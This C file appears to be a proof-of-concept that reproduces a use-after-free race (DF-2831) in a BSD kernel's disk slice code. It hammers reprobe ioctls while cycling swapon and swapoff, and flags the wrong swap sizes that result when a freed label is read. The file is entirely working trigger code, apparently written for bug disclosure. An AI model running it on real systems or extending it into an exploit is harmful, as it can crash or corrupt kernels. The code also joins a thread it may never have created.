DF-2831 / poc2831b.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 | /* * DF-2831 PoC stage 2: make the freed-label read VISIBLE. * * dssize() (subr_diskslice.c:860-867) walks sp->ds_label and calls * op_getpartbounds() on it with no ds_token. A forced reprobe * (DIOCSYNCSLICEINFO arg=1) makes disk_probe()/disk_probe_slice() free the * old struct diskslices AND its disklabel64 (1736-byte M_DEVBUF chunk, * same size class for every disk in the system). While vn0's label is * freed, vn1's reprobe allocates its own label -- the same size class -- * so vn0's dssize() can parse VN1'S LABEL and install vn1's partition * bounds as vn0s1a's swap size. * * usage: poc2831b <disk0> <swap0> <disk1> <swap1> <iters> * expects: swap0 'a' = 2 MiB (4096 512-blocks), swap1 'a' = 1 MiB (2048) * anomaly: swapinfo reports 2048 for vn0s1a (or ENXIO storms) */ #include <sys/types.h> #include <sys/ioccom.h> #include <sys/ioctl.h> #include <sys/disklabel64.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <pthread.h> extern int swapon(const char *); extern int swapoff(const char *); #ifndef DIOCSYNCSLICEINFO #define DIOCSYNCSLICEINFO _IOW('d', 112, int) #endif static volatile int stop; struct harg { const char *disk; const char *name; }; static void *hammer(void *x) { struct harg *h = x; int fd = open(h->disk, O_RDWR); long n = 0, ok = 0; int one = 1; if (fd < 0) { perror("[hammer] open"); return NULL; } while (!stop) { if (ioctl(fd, DIOCSYNCSLICEINFO, &one) == 0) ok++; n++; } fprintf(stderr, "[hammer %s] %ld reprobes (%ld ok)\n", h->name, n, ok); close(fd); return NULL; } /* read the 512-block count swapinfo reports for dev */ static long swap_blocks(const char *dev) { char cmd[256]; char line[512]; FILE *p; long blocks = -1; snprintf(cmd, sizeof(cmd), "swapinfo | grep '%s '", dev); p = popen(cmd, "r"); if (!p) return -1; while (fgets(line, sizeof(line), p) != NULL) { char d[128]; long b; if (sscanf(line, "%127s %ld", d, &b) == 2 && strcmp(d, dev) == 0) { blocks = b; break; } } pclose(p); return blocks; } /* what does the kernel think the in-core label of s1 is right now? */ static void probe_incore_label(const char *slicenode) { struct disklabel64 lb; int fd = open(slicenode, O_RDONLY); if (fd < 0) { fprintf(stderr, " [incore] open %s: %s\n", slicenode, strerror(errno)); return; } memset(&lb, 0, sizeof(lb)); if (ioctl(fd, DIOCGDINFO64, &lb) != 0) { fprintf(stderr, " [incore] DIOCGDINFO64: %s\n", strerror(errno)); } else { fprintf(stderr, " [incore] nparts=%u total=%llu 'a'=%llu/%llu " "(= %llu 512-blocks)\n", lb.d_npartitions, (unsigned long long)lb.d_total_size, (unsigned long long)lb.d_partitions[0].p_boffset, (unsigned long long)lb.d_partitions[0].p_bsize, (unsigned long long)(lb.d_partitions[0].p_bsize / 512)); } close(fd); } int main(int argc, char **argv) { const char *swap0; long iters, i; long ok_correct = 0, ok_wrong = 0, swerr = 0, szfail = 0; long wrong_samples = 0; pthread_t t0, t1; struct harg h0, h1; long expect; if (argc != 6 && argc != 7) { fprintf(stderr, "usage: %s <disk0> <swap0> <disk1> <swap1> <iters> [hammer1]\n", argv[0]); return 2; } swap0 = argv[2]; expect = 4096; /* vn0s1a 'a' = 2 MiB in 512-blocks */ h0.disk = argv[1]; h0.name = "vn0"; h1.disk = argv[3]; h1.name = "vn1"; pthread_create(&t0, NULL, hammer, &h0); if (argc > 6 && atoi(argv[6])) pthread_create(&t1, NULL, hammer, &h1); usleep(200000); for (i = 0; i < atol(argv[5]); i++) { long b; if (swapon(swap0) != 0) { swerr++; if (swerr < 10 || (swerr % 1000) == 0) fprintf(stderr, "iter %ld: swapon: %s\n", i, strerror(errno)); continue; } b = swap_blocks(swap0); if (b == expect) { ok_correct++; } else if (b > 0) { ok_wrong++; if (wrong_samples < 20) { fprintf(stderr, "ANOMALY iter %ld: swapinfo says %ld blocks, " "expected %ld\n", i, b, expect); probe_incore_label("/dev/vn0s1"); } wrong_samples++; } else { szfail++; /* swapon ok but swapinfo missed it (torn read) */ } if (swapoff(swap0) != 0) { fprintf(stderr, "iter %ld: swapoff: %s\n", i, strerror(errno)); break; } } stop = 1; pthread_join(t0, NULL); pthread_join(t1, NULL); printf("RESULT2 iters=%ld ok_correct=%ld ok_WRONG_SIZE=%ld " "size_read_fail=%ld swapon_err=%ld\n", atol(argv[5]), ok_correct, ok_wrong, szfail, swerr); return (ok_wrong || swerr) ? 1 : 0; } |